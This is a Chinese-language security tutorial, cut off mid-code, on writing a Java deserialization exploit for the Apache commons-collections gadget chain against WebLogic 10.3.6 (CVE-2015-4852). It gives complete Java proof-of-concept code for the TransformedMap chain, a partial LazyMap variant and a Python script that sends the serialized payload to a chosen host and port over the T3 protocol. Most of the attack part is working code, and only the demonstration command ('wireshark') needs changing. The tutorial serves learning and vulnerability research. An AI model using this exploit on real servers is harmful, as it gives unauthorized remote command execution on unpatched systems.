【入坑JAVA安全】手把手教你寫反序列化POC

0x01 前言

前面,我們瞭解了java的序列化機制,也知道在什麼情況下會出現漏洞,爲了對反序列化漏洞有個更直觀的認識,這裏就來說一說存在於apache commons-collections.jar中的一條pop鏈,要知道這個類庫使用廣泛,所以很多大型的應用也存在着這個漏洞,我這裏就以weblogic cve-2015-4852來說說反序列化漏洞的具體利用方法。

在復現分析cve-2015-4852的過程中,踩了挺多坑的,網上基本沒有復現cve-2015-4852的,都是一句“沒有任何防禦措施,可以直接拿着ysoserial的payload打”…但是我在復現的過程中發現Weblogic運行在jdk7與jdk8下是不一樣的,在jdk8下有些ysoserial中的payload不能正常使用,例如CommonsCollections1,而且我復現的weblogic版本是weblogic 10.3.6,它使用的commons-collections版本爲3.2.0,ysoserial中的很多payload都是3.1的,沒有仔細去研究這個版本差異是不是導致反序列化失敗的原因之一,只是順帶一提

0x02 復現

復現環境:

  • weblogic 10.3.6
  • jdk 1.7

由於ysoserial上的payloads不太好用,我只有照貓畫虎自己寫一個代碼生成paylod
java poc:

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class POC2 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","asdf");

        Map outerMap = TransformedMap.decorate(innerMap,null,chain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);

        Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
        FileOutputStream fos = new FileOutputStream("./poc.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(ins);
//        ByteArrayOutputStream baos = new ByteArrayOutputStream();
//        ObjectOutputStream oos = new ObjectOutputStream(baos);
//        oos.writeObject(ins);
//        oos.flush();
//        oos.close();
//
//        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
//        ObjectInputStream ois = new ObjectInputStream(bais);
//        Object obj = (Object) ois.readObject();
    }
}

運行這個poc之前需要commons-collections類庫,否則會提示很多類找不到,由於我是在本地復現,可以直接在idea中將weblgoic中的com.bea.core.apache.commons.collections_3.2.0.jar加入到lib中,具體操作參考:

https://blog.csdn.net/he_and/article/details/89843004

然後運行該poc,會在當前目錄下生成poc.ser文件,這個文件中就存放着序列化後的payload,現在payload有了,我們還需要發送給weblogic,weblogic有一個t3協議,這個協議依賴於序列化與反序列化機制,所以,我們只要按照t3協議的格式,把payload發送到weblogic,weblogic就會反序列化我們的惡意payload,從而執行指定的命令,t3協議腳本:

#!/usr/bin/python
import socket
import sys
import struct

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb').read()

payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'

# adjust header for appropriate message length
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])

print 'sending payload...'
sock.send(payload)

上面的腳本是py2版本的,python3需要稍微改動一下。執行以下命令發送payload:

python weblogic-t3.py ip port 存放payload的文件

成功彈出wireshark

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-oIHv0jZc-1586922764517)(ser_example1/wireshark.png)]

進一步瞭解t3協議可以參考我的另一篇文章:

https://blog.csdn.net/he_and/article/details/97924679

0x03 commons-collections gadgets分析

上面的復現使用的payload經過反序列化過後會執行:Runtime.getRuntime().exec("wireshark")

具體是怎麼做到的呢?我們不妨根據給出的poc來摸索一下這條利用鏈的挖掘過程,先把目光放到InvokerTransformer這個類上,注意這個類的transform方法:

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

有了前文的基礎,我們可以很容以看出來這裏用到了反射機制,並且代碼和我之前的demo很相似,他們都是執行了某個對象的某個方法,再看看這個類的構造函數:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

this.iMethodName, this.iParamTypes,this.iMethodName, this.iParamTypes都是可控的,那麼,現在只要保證input可控,我們就可以執行任意對象的任意方法了!但是這樣我們還是不能執行系統命令的,因爲執行系統命令的方式是:Runtime.getRuntime().exec("xxxx")

所以需要一個執行鏈才能夠滿足我們的需求(而不單單是執行某個對象的某個方法),而正好commons-collections類庫真有這麼一個類可以達到這個目的,這個類就是ChainedTransformer,該類中也有一個transform方法:

//構造函數
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

可以看到這個類的構造函數接收一個Transformer類型的數組,並且在transform方法中會遍歷這個數組,並調用數組中的每一個成員的transform方法,最重要的一點是上一個成員調用transform方法返回的對象會作爲下一個成員的transform方法的參數,這就是一個鏈式調用呀!

但是你以爲只靠InvokerTransformer組成的數組就可以完成整個攻擊鏈了嗎,是不行的,因爲這個調用鏈的起點是Runtime,無論怎麼構造InvokerTransformer,我們都無法得到利用鏈開端的這個Runtime,但是巧的是,又有這麼一個類——ConstantTransformer,我們看看他的構造函數以及transform方法:

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

他的transform方法就很簡單,就是返回iConstant,而this.iConstant又來自構造函數的參數,所以,如果我們實例化時傳入一個Runtime.class返回的也是Runtime.class那麼也就解決利用鏈開頭的Runtime問題。

可能大家看到這裏已經有點暈了,感覺滿腦子都是xxxtransformer。所以,看到這裏先暫停一下,不着急往下看,我們來理一理這幾個transfromer。其實一共就三個transformer,而且這些xxxtransformer都是實現了TransFormer這個接口的,所以他們都有一個transform方法:

InvokerTransformer ConstantTransformer ChainedTransformer
構造函數接受三個參數 構造函數接受一個參數 構造函數接受一個TransFormer類型的數組
transform方法通過反射可以執行一個對象的任意方法 transform返回構造函數傳入的參數 transform方法執行構造函數傳入數組的每一個成員的transform方法

有了上面的基礎,我們來把這幾個transformer組合起來構造一個執行鏈,代碼如下:


Transformer[] transformers_exec = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"})
};

Transformer chain = new ChainedTransformer(transformers_exec);
chain.transform('1');

就是這麼簡單,最後那個transform()隨便傳一個什麼進去都行,成功彈出wireshark:

在這裏插入圖片描述

到這裏,整個漏洞的核心已經明瞭了,現在我們得想想在真實的應用中怎麼觸發ChainedTransformer的transform方法,按照正常的操作,我們應該以transform(爲關鍵字全局搜索,但是我們這裏是反編譯得到的源碼,在idea中好像不支持全局搜索.class文件中的字符串,所以,有點頭大,但是也不影響,畢竟網上已經有很多分析文章了,我們可知有兩個類中使用了可疑的transform方法:LazyMap、TransformedMap。

TransformedMap利用鏈

我們一個個來分析,先說說TransformedMap中,一共有三處函數使用了transform方法

在這裏插入圖片描述

當然,光是使用了transform這個方法還不行,我們還需要確認是使用了ChainedTransformer.transform(),我們看一下this.keyTransformer的值:

在這裏插入圖片描述

可以看到this.keyTransformer的類型是Transformer,而且是我們可以控制的,所以,在構造poc的時候只需要將他的值賦爲我們精心構造的ChainedTransformer就行,按照這個思路,我們繼續構造poc,現在的poc可以用TransformedMap的三個方法transformKey、transformValue、checkSetValue觸發transform方法,但是我在構造的時候發現這三個方法的訪問權限都是protected,也就是不能直接被外部訪問,我們只有迂迴一下了,TransformedMap類中一共有四個方法訪問權限是public:兩個構造函數,如下:

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
        if (map.size() > 0) {
            Map transformed = decorated.transformMap(map);
            decorated.clear();
            decorated.getMap().putAll(transformed);
        }

        return decorated;
    }

另外兩個如下:

    public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return this.getMap().put(key, value);
    }

    public void putAll(Map mapToCopy) {
        mapToCopy = this.transformMap(mapToCopy);
        this.getMap().putAll(mapToCopy);
    }

可以看到put方法調用了transformKey以及transformValue,這兩個方法又都調用了transform方法,所以,我們可以通過調用實例化一個TransforomedMap對象,然後調用對象的put方法,從而執行任意命令,此時的半成品poc如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class POC3 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","asdf");

        Map outerMap = TransformedMap.decorate(innerMap,null,chain);
        outerMap.put("name","axin");
    }
}

運行poc,成功彈出wireshark

在這裏插入圖片描述

現在倒是找到了能夠觸發transform()的地方了,但是這還是不能在反序列化的時候自動觸發呀,我們都知道反序列化只會自動觸發函數readObject(),所以,接下來我們需要找到一個類,這個類重寫了readObject(),並且readObject中直接或者間接的調用了剛剛找到的那幾個方法:transformKey、transformValue、checkSetValue、put等等。

到這一步,正常的代碼審計過程中,會採取兩種策略,一種是繼續向上回溯,找transformKey、transformValue、checkSetValue這幾個方法被調用的位置,另一種策略就是全局搜索readObject()方法,看看有沒有哪個類直接就調用了這三個方法中的一個或者readObject中有可疑的操作,最後能夠間接觸發這幾個方法。審計中,一般都會把兩種策略都試一遍。

在接着往下看之前先來看兩個個小知識點:

  1. TransformedMap是Map類型,

  2. TransformedMap裏的每個entryset在調用setValue方法時會自動調用TransformedMap類的checkSetValue方法(我想,這個也是漏洞作者在挖掘過程中按照我上面提到的那兩種策略摸索出來的,而不是他一開始就知道…由於idea不能全局搜索反編譯文件中的任意字符串,我也就不能輕鬆的逆向分析復現出作者的挖掘過程,所以就直接把結論放在這裏,然後一會正向分析爲什麼會自動調用checkSetValue方法)。

上面提到了entryset, 關於Map類型的entrySet()參考:https://blog.csdn.net/weixin_42956945/article/details/81637843

有了上面的結論,現在的策略進一步轉換成:尋找一個重寫了readObject方法的類,這個類的readObject方法中對某個Map類型的屬性的entry進行了setValue操作!(當然這個屬性需要我們可控)於是就找到了sun.reflect.annotation.AnnotationInvocationHandler類,這個類是jdk自帶的,不是第三方的,所以這就導致了我在文章開頭說的ysoserial的一些payload不能攻擊運行在jdk1.8上的Weblogic,因爲jdk1.8更新了sun.reflect.annotation.AnnotationInvocationHandler。我們看下jdk1.8的sun.reflect.annotation.AnnotationInvocationHandler的readObject實現:

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }

再來看看jdk1.7相關的實現:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }

}

可以明顯看到jdk1.8已經沒有了setValue操作,而jdk1.7中有我們關注的setValue操作——var5.setValue(),var5是this.memberValues中的一個entryset,並且memberValues是Map類型,且我們可控,如下:

在這裏插入圖片描述

所以,只要我們在構造poc時將memberValues設置爲transformerdMap,那麼就有可能觸發setValue操作,前提是需要滿足if條件!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)

接下來我們的任務就是研究怎麼構造poc才能滿足這個if條件。通過代碼可以知道var7 = (Class)var3.get(var6),其中var3=var2.memberTypes(),然後var2=AnnotationType.getInstance(this.type),而this.type是可控的,構造函數如下:

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

可見this.type就是構造函數的第一個參數(當然還是需要滿足if條件才能賦值成功),所以,現在構造函數的第一個參數到底傳什麼才能滿足我們的需求呢,首先它得繼承Annotation,所以我們直接去找Annotation的子類,後面在看源碼的過程中我才知道Annotation這個接口是所有註解類型的公用接口,所有註解類型應該都是實現了這個接口的,而漏洞作者用到的是java.lang.annotation.Retention.class這個註解類(其他符合條件的類也是可以的,不過我沒有繼續找了emmmm)。

瞭解java註解,參考:https://juejin.im/post/5b45bd715188251b3a1db54f

這個註解是否符合條件呢?一行行讀代碼不夠直觀,我們不妨就假設這個類滿足條件,用它來繼續構造poc,然後在下斷點調試一下,這樣可以更加清晰的看到結果~接着上面的poc,現在我們需要新建一個AnnotationInvocationHandler類的實例,但是這個類的訪問權限不是public,而是包訪問權限,所以,我們在構造poc的時候只有通過反射機制來實例化它,具體看代碼:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class POC4 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","asdf");
        
        Map outerMap = TransformedMap.decorate(innerMap,null,chain);
        
        // 通過反射機制實例化AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
        // 本地模擬反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

上面就是一個完整的poc了,不過,爲了調試,我還在poc中本地模擬了反序列化的過程,這個過程在真實環境中應該是目標應用自動執行的。我在sun.reflect.annotation.AnnotationInvocationHandler的readObject方法處下了斷點,一圖勝千言,各個變量的值一目瞭然:

在這裏插入圖片描述

可見java.lang.annotation.Retention.class確實能夠使得我們的if條件成立,從而執行到var5.setValue()處
經過調試,我發現map的鍵值必須爲"value",否則利用不成功,這是一處小細節~

執行到setValue處,我們先停一停,準備填最後一個坑——爲什麼執行setValue就會自動調用前面提到的checkValue方法?

跟進setValue方法中看一看,從上圖中我們已經可以看到var5的類型是AbstractInputCheckedMapDecorator$MapEntry,所以這裏執行的的setValue也是調用的AbstractInputCheckedMapDecorator$MapEntry.setValue(),我們可以直接去setValue方法處下一個斷點:

在這裏插入圖片描述

可以看到這裏調用了this.parent.checkSetValue(),而我圈出來的地方也顯示了this.parent的值是TransformedMap類型,至此,整個利用鏈結束,繼續執行,彈出wireshark:

在這裏插入圖片描述

LazyMap利用鏈

接着來看看LazyMap類中調用了transform的地方,在get方法中:

    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

調用了this.factory.transform方法,而 this.factory是我們可控的,構造函數如下:

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

構造poc的時候只要令factory爲精心構造的ChainedTransformer就行,然後按照之前的思路,我們找一下哪裏可能調用了LazyMap的get方法。

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

發現AnnotationInvocationHandler的invoke方法中有相關的調用,Object var6 = this.memberValues.get(var4);其中this.memberValues是可控的,令其爲精心構造的LazyMap對象,但是我們要怎麼觸發AnnotationInvocationHandler.invoke()呢?熟悉java的同學都知道java有一種機制——動態代理。

動態代理參考:

https://www.mi1k7ea.com/2019/02/01/Java%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E6%9C%BA%E5%88%B6/

總結爲一句話就是,被動態代理的對象調用任意方法都會通過對應的InvocationHandler的invoke方法觸發

所以我們只要創建一個LazyMap的動態代理,然後再用動態代理調用LazyMap的某個方法就行了,但是爲了反序列化的時候自動觸發,我們應該找的是某個重寫了readObject方法的類,這個類的readObject方法中可以通過動態代理調用LazyMap的某個方法,其實這和直接調用LazyMap某個方法需要滿足的條件幾乎是一樣的,因爲某個類的動態代理與它本身實現了同一個接口。而我們通過分析TransformedMap利用鏈的時候,已經知道了在AnnotationInvocationHandler的readObject方法中會調用某個Map類型對象的entrySet()方法,而LazyMap以及他的動態代理都是Map類型,所以,一條利用鏈就這麼出來了:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.eclipse.persistence.internal.xr.Invocation;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class POC5 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
